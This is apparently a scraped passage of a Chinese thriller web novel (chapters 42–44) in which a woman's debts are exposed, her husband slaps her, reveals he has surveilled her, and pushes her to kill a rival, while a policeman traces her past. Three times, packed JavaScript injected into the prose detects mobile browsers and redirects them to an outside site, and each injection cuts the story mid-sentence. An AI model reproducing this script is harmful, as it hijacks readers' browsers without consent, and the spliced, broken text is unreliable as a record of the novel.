到了季家,这一次的气氛比上次更加凝重。自入户花园起,魏芷就没有见到一个佣人。 来开门的是习蔓菁,她脸上的冰层比任何一次更厚。几乎是刚一开门,就立即转身而去,连魏芷的脸也不愿直视。 一楼客厅里,季钟永背着双手,面色铁青地站在茶桌前,看到季琪琨身边的魏芷也没有丝毫意外。 “伯父,我和小芷来了。”季琪琨笑道,“到底出什么事了,让您发这么大火?” 季钟永对他的发问置若罔闻,而是目不转睛地看着魏芷,眼中充满失望和愤怒。 “魏芷,我知道你家境不好,但我一直都说,到我们这个层次了,只要对方为人正直,家境是最不用考虑的东西。但我最恨的,就是被人欺骗!如果没有信任,还有结为一家人的必要吗?!” “伯父,到底出什么事了?”季琪琨再次问道。 季钟永仍只看着魏芷说话:“我不管从前怎么样,但今后,你绝不可能再留在季家。琪琨真心实意对你,我不忍他知晓真相伤心。只要你愿意和他离婚,我可以把你的问题解决了。并且这件事,再也不让别人知道。” 他拿起茶桌上的那一沓文件,看着魏芷。 她知道他手中的是魏家所有人的征信记录,那一定非常触目惊心。最初,她就是害怕那些东西会让季琪琨将她舍弃。她拼命掩饰,殊不知她的努力,只是狩猎者饭后的小品。 “……我爱琪琨,我不会和他离婚的。”她哑声说道。 “你还有脸说爱他!” 那一沓文件像失控的白色蝴蝶,从季钟永手中逃脱而出。在空中乱舞,铺天盖地地散落在魏芷的头上、眼前。 其中一张纸拍上她的面孔,轻如蝉翼的重量,却带给她被冬日冰凌刺穿的痛感——仿佛所有的责难与不满都凝聚在这片薄纸上,魏芷被迫闭眼,呼吸也本能地凝滞了。 习蔓菁冷冷地坐在一旁的沙发上,双腿交叠,一脸事不关己的表情。 季琪琨弯下腰,捡起地上的几张文件看了起来。偌大的客厅里,只剩下季钟永急促的呼吸声。 “伯父,其实这些,我早就知道了。”季琪琨将手中那几张文件整齐叠好之后,放到了茶桌上,“而且是小芷告诉我的,是我让她瞒着你,怕你不同意我和小芷在一起。对不起,伯父。” 他说:“要怪,你就怪我吧。小芷没有错。” “你——”季钟永难以置信地看着季琪琨。 “出生在这样的家庭,不是小芷自愿的。她背上这么多网贷,也是为了救她的母亲。伯父,你不是一直说,人们都说商人无义,但你偏要做一个有情有义的商人吗?小芷是我见过最善良,最坚强的女孩。我爱她,我愿意和她承担这一切。” 他毫不犹豫地握住了她的手。魏芷怔怔地看着他。 他的面容宛如最优秀的瓷匠雕琢而出的作品,细腻而又不失英气。一对卧蚕宽而清晰,轻轻一笔,就为这张脸增添了几分温柔和亲切。狭长的眼皮下是幽暗神秘的目光,黑眸深沉如无底夜海,与暗红的唇瓣交织出欲望的大网。 他对她露出了微笑,好像在告诉她,把一切都放心交给他。 “她母亲生什么病?”季钟永迟疑道。 “你自己说吧,小芷。”季琪琨鼓励道,“伯父一定能理解的。” 魏芷沉默片刻,开口道: “从12年起,我母亲被确诊胃肠道间质瘤,需要服用靶向药物伊马替尼。每个月需要服用两盒,一盒一万一,两盒二万二。为了给母亲治病,我想尽了办法,每天只睡五个小时,其余时间都在打工挣钱……但还是不够,远远不够。” “走投无路之下,我只能四处借网贷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817971|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。在不知不觉之间,利息就滚到了一个我无法偿还的地步。我承认我说谎了,我对不起伯父和伯妈的信任,对不起。” 魏芷的眼中浮出泪光,但她强装镇定,平静地说完了全部。 季钟永的神情渐渐动容了,他的目光在地上巡视,最后转身在沙发上坐了下来,长叹道: “就算是这样,我也不建议你们继续在一起了。” 他看着两人,苦口婆心地劝道: “说白了,小魏,你命不好。我不是有什么偏见,你知道我们生意人都比较信这些东西,你出生在那样的家庭,亲人又连遭横祸,这是上天不让你和琪琨在一起啊。你又何必逆天而行呢?” 季琪琨说出了她的心中所想。 “我不信命,伯父。”他微笑道,“如果真的有因果报应,为什么世上还是有那么多坏人逍遥法外,为什么还有那么多好人命途多舛?” “如果我和小芷在一起之后过得不好,那也是我自己的原因。因为我变笨了,变蠢了,无法用智慧来取得我想要的生活。” “既然你这么自信,那就从公司里退出吧。”习蔓菁突然插话,冷笑着说道,“放弃家里给你的一切,让我们看看,你是否能靠自己过得更好。” “你别说话!”季钟永一声呵斥,让习蔓菁的脸色一瞬变得难看。 “你什么都顺着他!”习蔓菁站了起来,声音尖利地说道,“从以前就是他说什么你就信什么,在你心中,他才是你的亲儿子!你要越过小腾把公司交给他,我也忍了,但现在他为了一个谎话连篇的女人忤逆你,难道你也要忍吗?!” 习蔓菁怒极,一把打掉了茶桌上的杯盏。比瓷器碎裂声更尖利的,是她崩溃的质问。 “你的那些狗屁原则,都是针对我和你真正的儿子的吗?!” “够了!”季钟永勃然大怒,“这是季家的事,你闭嘴!” 习蔓菁哑口无言,惨笑了几声,泪光在眼眸中一闪而过。她恨恨地看了一眼季琪琨和他身旁的魏芷,拿起沙发上自己的手机,大步走上了二楼。 紧接着,砰的一声摔门,宣告她的暂时退场。 宽阔的客厅中只剩下魏芷三人。 “为了她,你宁愿退出公司,放弃季家的一切吗?”季钟永问。 “我愿意。” 季琪琨露出了洒脱的笑意,好像那只是微不足道的一件小事。 “我相信以我的能力,即便从头再来,也能重新站上这个位置。伯父不是经常说,工作永远不能排在家庭前面吗?我现在才真正明白伯父的意思。一个顶天立地的男子,如果连家庭都保护不了,又怎么能够支撑起一个庞大的公司呢?” 季钟永看着挺直背脊直视着他的季琪琨,心中百感交集。 独生子不幸成为植物人,多年沉睡不起,他早就将季琪琨当做继承人来培养,但梅满的事情,又让他多少有些疑惑和犹豫。 以结婚为进入公司的条件,何尝不是对季琪琨的一种考验。 考验他是否真的成熟,是否真的能够担起他走之后的重任。 他的确做到了。 唯一美中不足的是,让季琪琨成长的,是一个连他都觉得复杂而危险的女人。 “这些东西,是一个小时前送来的。不管针对的是你们之中的谁,对方一定是蓄谋已久,对你们抱有很深的仇恨。” 季钟永取下眼镜放到桌上,抬眼看着季琪琨,眼中已没有怒火,只剩下疲惫。 “你们心里有数吗?” “我知道是谁。”季琪琨波澜不惊地说道,“这是针对我来的,我会想办法解决。” “你心里有数就好。”季钟永摆了摆手,“尽快解决,不要影响到公司。我就这么一个要求。等处理好这件事,你就回来接任公司。” “是,伯父放心。” “……你们走吧。” 季钟永深深地低下头去,手指揉捏着双眼之间的鼻梁,看上去一下子老了好几岁。 季琪琨牵住魏芷的手,拉着她走出了季家。 42.第 42 章 回季琪琨家的路上,魏芷坐在副驾,用眼角余光觑着后视镜里的季琪琨。 他神情自然,如往常一般单手握着方向盘,目光直视着前方车道。 沉默流淌在空气中,犹如粘稠的墨汁,攀爬在魏芷身上。她忍不住打破了缄默。 “……你知道是谁送来的文件?” 季琪琨一开始只是从喉咙里漫不经心地应了一声,然后才偏头看了魏芷一眼,微笑着补了一句: “我们都知道——不是么,小芷?” 轿车内的空间忽然变得狭小,仿佛逼仄的深渊入口,冰冷的空气自脚底而上,那几句话就像是一双从地狱之中伸出的手,紧紧扼住了她的咽喉,让她无法喘息。 季琪琨打了个方向盘后,再次向她看来,神情无比温柔。 “别怕,无论发生什么事,我们都是一家人。” 他低柔的话语,仿佛冰冷的蛇,在她的耳边蜿蜒游动,尖锐的鳞片刮擦着她的心灵,发出毛骨悚然的声响。魏芷一动不动地坐在副驾,依旧是聆听的姿势,灵魂却像是被抽离,飘向了融于黑暗的未来。 添越开进小区地库,季琪琨下车后站在车头等她。 “来。”他微笑着朝她伸出右手。 魏芷将戴着钻戒的左手轻轻放了上去。 他牵着她回到他的家,又在进门后松开了她的手。在她眼前换上她买的那双拖鞋,悠然地踏入厨房的中岛。 季琪琨从橱柜里拿出密封的咖啡豆,一边操作着咖啡机,一边说道: “今天晚上就不做饭了吧,你想吃什么,我点外卖。” “我想先和你谈谈。”魏芷站在玄关,看着他说。 “中餐还是日料?或者你想吃别的?” “我现在没有胃口。” “那就点上次吃过的那家寿司吧,对了,咖啡你想喝什么?我拿的这包是巴拿马瑰夏——” 他手拿着那罐咖啡豆,脸上的笑容如同精心排练过的戏剧桥段,嘴角微微上扬,露出一排整齐而洁白的牙齿,与他俊美的面容相得益彰。然而,这笑容却像是一层薄冰,仿佛是从面具下透出来的,带着一种令人不安的完美。那本应是心灵之窗的眼睛,像是被寒夜笼罩,没有一丝温度,只是机械地注视着前方的魏芷。 “……都可以。”她选择了顺从。 “我就记得你爱喝这个。”季琪琨得到满意的答复,带着笑意重新低头操作咖啡机。 五分钟后,咖啡机萃取出两杯香浓的咖啡,整个客厅几乎都被咖啡的花香和果味所充满。温暖的咖啡香气中,飘荡的却是一触即发的寒意。 魏芷伸手去拿的时候,季琪琨忽然开口。 “老婆,你有什么想和我说的吗?” 她的手在半空中迟疑了一下,然后缩了回来,握住了自己的另一只手。 “你想和我离婚吗?”季琪琨又问。 这一次,她立即摇了摇头。 “摇头是想还是不想?”他步步紧逼,“你自己的想法,难道自己都肯定不了吗?” “我不想离婚。”魏芷说。 “既然不想离婚,为什么还会骗我一次又一次?” 季琪琨的右手轻轻抚上她的面颊,他的指腹微凉,皮肤细腻,被抚过的地方,留下的是一串仿佛被酸液腐蚀的刺痛。 在他的抚摸下,她不禁屏住了呼吸,连辩解的话语都哽在了喉舌。 “你这样骗我,真的爱我吗?”他轻声说。 “我……” 一记响亮的耳光打断了魏芷的话语。她被打得偏过头去,散落的黑发凌乱在眼前,好一会脑子里都在嗡嗡作响。 紧接着,始作俑者抬起了她的下巴。 就好像刚刚打出那一巴掌的是另外一个人一样,他满是爱怜地看着她受惊的面孔。 “你知道我有多么爱你吗,小芷。即使被你这样欺骗,我也还是想要给你一个机会。” “让我现在告诉你,我是从什么时候开始知晓这一切的。” 季琪琨的话让魏芷停下了挣脱的动作,那只修长的手抓住机会,顺着她的下巴下滑,在血液流动的脖颈处缓缓摩挲,仿佛下一秒就要将她的呼吸扣紧。 “……从一开始。”他贴近魏芷火辣辣的那半张面颊,轻声呢喃。 他温热的呼吸扑在她被打的地方,疼痛感更加清晰,魏芷却无力后退。 “翁秀越为了藏起自己,确实煞费苦心。面孔和身材可以变化,但还有一些特征,是再怎么努力也无法掩饰的。” “具体来说,就是肌肉走向、眼神、下意识的小动作、走路姿势、声音。这些对普通人来说可能难以区分,但对一个优秀的画家来说,却是一种基本功。从我读大学的第一年起,我就在练习人体绘画。捕捉这些细节,是再简单不过的事情。” 他松开了她的脖子,露着微笑,端起了面前的咖啡。 那张暗红色的嘴唇轻轻碰触着玻璃杯的边缘,咖啡在杯中轻轻荡漾,黑褐色的液体沉甸甸地在杯中摇曳。光线透过窗户,投射在他脸上,形成了斑驳的光影。 “她在底下搞的那些小动作,我都心知肚明。包括她找上缺钱的你,把你送到我的眼前。” 他放下咖啡杯,怜悯的目光看着正处于极大冲击下的魏芷。 可怜的羔羊。 可怜的蝴蝶。 可怜的。 可怜可怜可怜可怜可怜可怜可怜可怜可怜可怜可怜可怜。 可爱。 “除了我没有人会站在你的身边。我可怜的小芷,我如此爱你。因为没有我,你就真的什么都没有了。” 他的笑容里带着恶意,那双空洞而美丽的黑色瞳孔中,从未像此刻这样绽放过光亮。 “一百万欠债,对我来说根本不算什么。即便你中途动摇,背叛我与翁秀越合作,只要你最后幡然醒悟,我也愿意原谅你——因为我是这么爱你。比世界上的任何一个人都要爱你。我十分确定,无论有多少人来蛊惑你,最后你也会回到我身边,你一定会发现——” “只有我们,才是真正的同类。” 甜蜜的字眼一个接一个地从那张暗红色的嘴唇中说出,冰糖一般晶莹剔透的糖衣中包裹的,是乌黑恶臭的沼泽淤泥。 他的手已经不在她的喉咙上了,魏芷却反而觉得无法呼吸,似乎所有氧气,都被他的话语所带走。那些带着花香和果香的空气,如真空一般朝她磅礴而来,她的五脏六腑在身体里错位,扭曲,炸开。 “你一早就知道,为什么还……” “我不想再躲下去了。”季琪琨微笑着说,“我厌倦了必须隐姓埋名的生活。这里明明是我的家乡,为什么我要因为一个愚蠢固执的妇人,必须远走他乡?” “她想要捉住我。正好,我也想捉住她。” 他露着挑逗的笑意,低声说: “她为我筛选了很多猎物,但我只喜欢你。我见证了你的一步步成长,认可了你作为我妻子的资格。” “当你找到密码打开我的电脑时,我不得不承认,你让我感到惊艳。” “你——” “手机里的定位,只是装给你看的。” 季琪琨从厨房中岛离开,迈着优雅的步伐踏入宽阔的客厅空间。 “这个家——大到门锁,小到插线排,所有都关联着我的手机。”他转身面对魏芷,神情中露出难以遮掩的得意,“从你住进这里起,你的一举一动都在我的掌控当中。” 魏芷只能呆呆地站在原地,说不出任何话来。 这是他一人的秀场,是他彰显优越的时刻。 在无数个时刻,季琪琨独自看着手机上的智能提示时,都有一种超群绝伦的感受。事实确实如此,他凌驾于所有人之上,他想要的,从来就没有得不到的。 他本就比所有人都优秀,掌控那些蠢笨的人也是理所当然。不如说,放弃思考,将一切都交付给他,反而是那些蠢人能做的唯一聪明的事。 只有魏芷不同,在她身上,他感受到了亲切。 为了欲望不择手段的亲切,运用智慧从逆境中全身而退的亲切,再加上,那颗岌岌可危,随时可能粉碎的心。一切都强烈地吸引着他。 他强压着内心的躁动,等待着,等待着,等到他的手机上收到智能插座上传来的提示:“您的电脑已上线”。 等待着,等待着,等到他趁魏芷洗澡取下钻戒时,取出里面的微型录音器,将其连接到电脑,听到魏芷和翁秀越的合作破裂。 等到魏芷真正的征信记录到了季钟永的手里,他就知道—— 等待时间结束了。 “我可以给你钱,你这辈子再怎么奋斗也挣不来的钱。我还可以给你爱,你这辈子都没真正得到过的爱。” 季琪琨朝魏芷走去。 她不由自主地后退。 直到后背抵上冰冷的落地窗,季琪琨的面孔近在咫尺。他握住她的手臂,将她忽然翻过身来,正面朝着窗外缭绕的白云,后背与季琪琨的身体紧紧相贴。 “只要你帮我……”他用左手捂住了她的双眼,同时低头含住了她的耳垂,低沉的嗓音变得暧昧不清,“让那个女人消失。” 他的声音带着蛊惑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823371|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔力。 “就像你对你的父母和弟弟做的一样,让她再也不能打扰我们的幸福生活。” 一阵电流从她的耳垂蹿过全身,魏芷的指尖在冰冷的玻璃慢慢扣紧。她的视野被季琪琨遮蔽了,耳中也听不到除他话语以外的声音,他的存在,完全占据了她的感官。 “我什么都没做……那根本就是个意外。” “是啊,意外。谁都知道,梅满的事情,也是个意外。”季琪琨不为所动,继续说道,“我只是希望,翁秀越也能意外消失。你能做到的,毕竟,你已经成功三次了。” “你简直不可理喻!”魏芷奋力挣脱他的桎梏,难以置信地瞪着他,“我会伤害自己的母亲?” “从结果来看,三起‘意外’,你都是唯一的受益人。拖油瓶没有了,吸血虫没有了,无赖也没有了。你的人生翻开了新的篇章,再也不会有人拖累你了。”季琪琨笑道,“你再怎么伪装也是没用的,对我们这样的人来说,血脉亲人和陌生人没有本质区别。” “我告诉你很多次了,那是意外!如果我有这样的能力去制造警方也查不出来的意外,我还会受这么多年的罪吗?!” “那是因为你手段高明,头脑聪慧。”季琪琨说,“这正是我欣赏的地方。” “魏来坠井是暴雨冲刷导致井盖移位,我爸是因为过度激动,心梗而死,至于我妈,更是自己亲手结束了自己的生命!这些都是清清楚楚明明白白的,无论哪一种,都是我无法控制的因素,你的猜测也太过牵强了,简直就是妄想!” 然而,无论魏芷说什么,都无法让季琪琨放弃那荒谬的想法。 他似乎跌进了他自以为通畅的逻辑中,铁了心认为魏来和魏杉的意外死亡是魏芷一手策划。 现在,他正请求她复刻第四起意外。 直到此时,魏芷才明白季钟永第一次要求他们分手的时候,他为什么会那么坚决地维护她。妄想就是从那时开始的,在他的世界里,她已经成为一名手段高超的杀人凶手。 他把永远摆脱翁秀越的希望放在了她的身上。 “……我做不到。”她说,“我没有你想得那么厉害,杀了人还可以伪装成意外逍遥法外。” 她的这些拒绝,在季琪琨看来,不过是还没有被他给出的条件打动罢了。 魏芷是个聪明人。一路走来,他比任何人都明白这一点。每一次,她都带给他无限的惊喜。他根本不相信,一个被他如此欣赏的人,会是被层层意外推进他眼中的。 他对魏芷的盲信,出于对自己的盲信。 “翁秀越是个炸弹,不光是对我而言,也是对我们而言。”季琪琨说,“你不想离婚,就迟早要和我一起解决这个问题。她会像在此之前一样,阴魂不散地出现在我们的生活里。每当我们有幸福的苗头,她就会出手破坏。我已经被她纠缠了八年,我比谁都了解她的秉性,不到我死,她是不会收手的。” “我想和你重新开始。”他用力握住了魏芷的手,将她的躲闪扼杀在摇篮之中,“我爱你,我想要和你平平淡淡地生活下去。我想要拥有平凡的生活,我想要和你,和我们的孩子,组成幸福的家庭。” 他把额头抵在她的手背上,他的身体微微颤抖着。 “……只要翁秀越还活着,我们就不可能获得这样的幸福。” 哽咽的声音从他的喉咙深处挤出,如同干涸河床中最后几滴水珠的呜咽。他抬起脸来,眼眶中的红意已经明显可见,像是落地窗外被夕阳染红的天空。 “我爱你,想和你过一辈子。难道你不是这样想的吗?” “我……”脸颊上的伤还在隐隐作痛,但魏芷的神情已经透着动容和迟疑,“我当然想。但是你说的,我真的做不到。” “你可以的,就像之前一样。”季琪琨说,“这对你来说并不难。” “可是……” “只要你同意为我们的幸福作出贡献,我就撕毁婚前协议,并将一百万现金以赠予的名义立即转到你的卡里。” “哪怕你事后马上就要与我离婚,你也可以拿走我的一半财产——最少两千万。” 魏芷拒绝的话语断在了喉咙里。 “拜托你,好吗?”季琪琨仿佛看出了她的动摇,声音更加魅惑,那张俊美的面孔也更加动人,“我们是夫妻,本就该为维护婚姻一起努力。” “老婆,最后帮我一次,好吗?”他在她耳边甜蜜地呢喃。 漫长的寂静后,魏芷的表情有了微弱的变化。此前浮于表面的温顺渐渐被冷漠所取代。 “我要先撕毁婚前协议。”她说。 43.第 43 章 季琪琨拿出了属于他的那份婚前协议。 两份一模一样的婚前协议摆在桌前,魏芷确认了是原件后,正想销毁,季琪琨按住了他面前的那一份协议。 魏芷朝他看去。 “如果现在撕毁协议,之后你又反悔怎么办?”他用玩笑的口吻,说出严肃的质疑。 “……你想怎么办?” “我要按照我的方式来。” 季琪琨拿着那份原件站了起来,他走到暗室门前,打开了房门,身影融入暗红色的光线。片刻后,他拿出了不锈钢盆和一个比文件袋稍大的纸盒。 当着魏芷,他把不锈钢盆放到地上,又将纸箱置于其中,最后,在纸箱里放入了两份文件。 “这是特制的纸盒,最外层是普通纸壳,里层分别是厚纸壳、隔热石棉纸以及又一层厚纸壳。” “大约需要十五分钟,盆中的火焰才会烧到核心的文件。”他说,“我需要你的保证,在这十五分钟里。” “什么保证?” 季琪琨拿出手机,打开了摄像头。镜头中是魏芷平静又带着了然的面孔。 “你愿意给我这个保证吗,亲爱的?” 一盒火柴被塞入魏芷手中,她握着火柴,季琪琨握着她。 “只要你答应,我所拥有的一切,一半都是你的。”他低声诱惑道。 她望着手中的火柴,找不到犹豫的理由。 魏芷点燃了罪恶之火。 起初,它在她的手中只发出一丝几乎难以察觉的微弱声响,从火柴头部涌出的并非光明,而是一种深沉得近乎凝重的橙色光芒,火焰周围似乎有看不见的锁链缠绕,限制着它的扩张。 当魏芷将它投入普通纸壳和厚纸壳之间,微弱的火苗逐渐飘散壮大,以一种缓慢、沉重的姿态向四周蔓延。 她倒在了沙发之上,目光直视着黑色的镜头。 她感受到自己的皮肤,渐渐暴露在空气中,皮肤因为季琪琨的触碰而泛起一片片鸡皮疙瘩。 第一次看见季琪琨电脑里的照片和视频时的感觉又回到了她的身上,她想吐,但她拼命抑压着这种冲动。在与季琪琨交往的一年多时间里,她已经习惯了忍耐这种恶心。 她直视着那个曾压倒许多女人的镜头,目光不曾有一瞬躲闪。季琪琨微微皱了皱眉,用手拍了拍她的肩,无声地示意她转过身背对自己。 姿势改变后,魏芷的面孔正对着不锈钢盆中燃烧的纸盒。 小小的火柴早已化为灰烬,火苗从纸盒的一角悄然探出,如同黑暗中伸出的第一根手指,轻轻触碰着现实的边缘。 魏芷目不转睛地望着火焰,灵魂仿佛自身体中抽离,身体的一切感受都离她远去了。 她的灵魂在钢盆边蹲了下来,静静地看着逐渐推进的毁灭。 普通纸壳被烧穿后,紧接着被烧得焦黑的是厚纸壳,然后是石棉纸。 火焰在这里碰壁,但随着时间的流逝,无坚不摧的火焰还是刺穿了石棉纸。 它不再仅仅是燃烧,更像是一种无情的吞噬。纸盒的结构开始崩塌,原本方正的形状变得支离破碎,就像一个失去了支撑的灵魂,在无尽的黑暗中迷失了方向。 文件袋上的油墨首先被侵蚀,那些曾经严谨排列的文字逐渐模糊,化为一片片无法辨认的黑斑。 每一页纸张的燃烧都伴随着轻微的“噼啪”声,这声音在伴随着低沉喘息的空间里显得格外刺耳。纸灰如黑色的蝴蝶般缓缓飘落,落在盆底,堆积成一层薄薄的、令人不安的记忆残骸。 她忽然想起了那个让她扔掉了狗链,并陪她去医院看病的朋友。 魏芷多想再见她哪怕一面。 她一定不会支持她的做法,但她还是必须去做,因为这件事非她不可。 因为只有她—— 一无所有,不怕失去。 …… 天边的色彩由浅至深,如同一幅用火焰绘制而成的画卷,逐渐蔓延开来。橙黄、绯红、紫褐……这些颜色交织在一起,构成了一个既壮丽又令人倍感压抑的天空。远处的地平线像是被点燃了一般,火光映照着连绵不断的高楼大厦。 大山关派出所,一间普通的办公室里。张开阳刚刚结束了和前OCEAN艺术中心人事主管的通话。 电脑屏幕上显示着他刚刚收到的图片资料,一张名为郑田心的食堂人员的简历表。那张蓝色底的照片上,翁秀越正露着灿烂的笑容。 如果不是他找遍户籍档案都没找到一个符合资料的“郑田心”,他怎么也想不到,八年前那个优雅体面的职业女性,会变成照片上这个体重超重、头发油腻的中年妇人。 翁秀越化身为郑田心,潜藏在季琪琨身边长达两年。 这个事实让张开阳心底发凉,因为一同浮现在他脑海中的还有一个名字。 OCEAN艺术中心开业初始就应聘而来的,除了翁秀越,还有魏芷。 如果说翁秀越从一开始就是有备而来,那么魏芷呢? 张开阳被一股强烈的不安所驱使,调取了他所能想到、能找到的关于魏芷的一切资料。 时间从傍晚到深夜,他一直坐在电脑和文档前埋头苦寻,然而,无论他怎么寻找,都找不到可疑的地方。 魏芷于1990年出生在江都,在江都读完了高中后,考上异地的苏文大学,主修会计,四年后获得学士学位。 毕业后,魏芷通过面试进入一家五百强企业担任财务,税前月薪有一万四,但她却在两年后辞掉了这份待遇优渥的工作,应聘进了季琪琨新创立的一家中小型画廊,税前月薪锐减一万。 而魏芷交给OCEAN艺术中心的简历上,并没有提及她的这段经历。 这是违背逻辑的,一名应聘人员,反而藏起她最亮眼的工作经历。 但从她进入画廊的前二十四年里,履历上又找不到任何能和翁秀越、季琪琨、梅满重叠的地方。 难道只是他的杞人忧天? 张开阳深深吸了口气,身体重重地撞向靠背,像是乘上了一条激流中摇摆的小舟,身体不受控制地跟着摇晃。 在规律的晃动之中,他的脑海中忽然响起了一句话。 “早知道她这么没良心,当初就不该同意她去读大学!读书读书,把良心都读没了!” 他猛地站了起来,眼前一阵眩晕—— 魏家负债累累,以魏杉重男轻女的性情,真的会出钱供魏芷读大学吗? 早上七点半,老吴提着用了十年的保温杯,慢悠悠地哼着小曲推开了他的办公室。 “哎哟我的妈啊!” 一动不动坐在沙发上,在他开门时抬起一双黑眼圈浓重的双眼与他对视的张开阳,把老吴吓得差点把手里的保温杯给扔了。 等回过神来,他一边拍着胸口,一边反手关上办公室的门。 “你昨天又没回家?坐这儿专门吓我呢!”老吴呵道。 “吴队,我想调取魏芷的银行流水。”张开阳站了起来,一夜未睡又滴水未进的嗓子沙哑异常。 “为什么?”老吴皱起眉,“你还在查那几起意外?” “跟那个没关系。”张开阳说。 “那你查这个干嘛?”老吴脱下外套搭在椅背上,诧异道,“要想查人流水,起码得先受案,你才有这个调取证据的权力。不然说你公权私用,举报你你马上就得下课!” “没有受案,目前为止,都还只是我的猜测。” “猜测?那不可能给你这个权力。”老吴断然道,“你知不知道,如果最后你什么都没查到,那你就属于违规操作,给你开批条的我也少不了被牵连。” “吴队,我真的很需要这份流水来进一步证明我的推测。”张开阳再次恳求道,“我现在没有十足的把握,也没有确切的证据来说服你,我只能求你相信我,相信我肩上佩戴的勋章,我不会滥用你给我的权力。如果我的推断没错,有一个筹谋已久的犯罪活动正在进行,这和八年前梅满坠楼的事情有关,我不想让悲剧再次重演,我想要真正地结束这一件事——拜托了,吴队,请你相信我——” 他用力向吴队弯下了腰,背脊因隐忍和激动而微微颤抖。 查出真相,让有罪之人罪有应得,原本就是他的职责。八年前,他没有做到,但是他从未放弃。在漫长的八年里,他一直在为此努力。 这是他的职责,不是翁秀越的。 他不能眼睁睁看着受害者变成加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你别看所长好像就是个不小的官了,所长算个什么?所长上面还有局长,局长上面还有上面!真正能够推动司法改革的,是这些你缩在小小的派出所里一辈子见不到的人!你如果不能往上爬,光有一颗慈悲正义的心,又有个屁用?!你如果真想为人民做些什么,那就不要在这里颓废,往上爬,爬到你能说得起话的地方!” 张开阳愣愣地看着他。 “好好想想吧。”老吴拍了拍张开阳的肩,严肃的面孔上流露着对正直而又笨拙的后辈的特殊关爱,“你申请的事,下不为例。” 强烈的感激涌上他的心头,他有千言万语想要对这个一直包容他的老民警说,但任何语言在澎湃的感情前都显得苍白,最后,他什么都没说,只是再次鞠了一躬,久久都没有起身。 取得批条后,张开阳第一时间赶往魏芷名下有开户的银行,调取了她的所有流水记录。 魏芷名下有三张银行卡,其中最早的一张,开卡时间是在十四年前,最后一次使用时间是在08年9月1日,魏芷从这张卡里划走了七千,收款方是苏文大学。之后,卡里只剩下四角六分。 就是在这张卡的流水里,张开阳找到了他苦苦寻觅的东西。 从魏芷十六岁起,有一个固定账号每个月都给她打一笔钱,多的时候是几百块,少的时候几十块。月月如此,从未断过—— 直到08年8月,打出最后一笔。 “哈……” 望着那个熟悉的打款账户户名,荒谬感油然而生,张开阳不禁从喉咙中发出一声苦笑。 兜兜转转,原来线索早在八年前,就从他眼前闪过。 “这是我女儿的手账,写着今年冬天要去学滑雪——” “这是下个周的画展门票,我女儿买了就说明一定会去看——” “这是我女儿买的新裙子,我昨天才收到快递——” “我女儿还资助贫困生,她最热心善良了,这样的人——怎么可能自杀呢?” 梅满资助的贫困生,是魏芷。 张开阳想起那日看着魏芷撑着雨伞步下台阶,与萧瑟的秋日雨幕融为一体。她消瘦的背影,几乎让他担心她会被风吹倒。 他深切地为她的命运而担忧,不知她能否在季琪琨的情感操纵下保护自己。 他发现了狩猎场,却弄错了主次。 海豚仍一无所知,而魏芷,才是那个手握鱼枪的人。 44.第 44 章 翁秀越留在画廊的属于“郑田心”的号码已成为空号,张开阳也联系了画廊里曾经和“郑田心”有过交情的员工,得到的消息是“郑田心”没有联系过她们任何一人。 在没有备案的前提下,他无法调用天眼来寻找翁秀越,光以一人之力,想要从茫茫人海中找到一个擅长隐匿伪装的女人,无异于痴人说梦。 翁秀越再次消失了,但魏芷没有。 他还记得季琪琨上班的时间,他熬过一个无眠的夜,在早上九点的时候,拨通了魏芷的电话。 电话响了很久,似乎电话那头的主人正在思考要不要接通,在电话自动挂断的前一秒,他听到忙音结束,魏芷平静的声音出现在听筒中。 “你好,张警官。” “我想和你见面聊聊。”张开阳开门见山道,“关于你和梅满的事情。” 比接通电话前更长的沉默出现了。 魏芷半躺在沙发上,目光落在落地窗外一缕从厚重云层中刺出的金色晨曦上。微弱的金光洒落在她的身上,无知的童稚的朝阳,在她漆黑的发丝间跳舞。在她脚下,是那盆已经烧为灰烬的婚前协议。 “下午三点。”她说。 “可以。”张开阳立即说。 挂断电话后,张开阳立即拿起自己的夹克披上,大步走出了大山关派出所。 约定的时间是下午三点,时间还早,但他迫切地想要先去约定的地点看看。魏芷提出的见面地点在三环外毗邻郊区的一栋烂尾楼里。 这个地点一定有它自己的意义。 他开车来到水岭街,在街边停车下车。那栋宽阔而巨大的烂尾楼醒目地伫立在一片低矮楼房之中,周遭围着一片斑驳的蓝色施工围墙,因为无人看顾,早已爬满了翠绿的藤蔓。 张开阳绕着围墙走了一圈,找到墙上的开口。 蓝色的小门虚掩着,门上缠绕着一条锈迹斑斑的铁链。 张开阳将生锈的铁链扔在地上,毫不犹豫地踏入了遗弃之地。 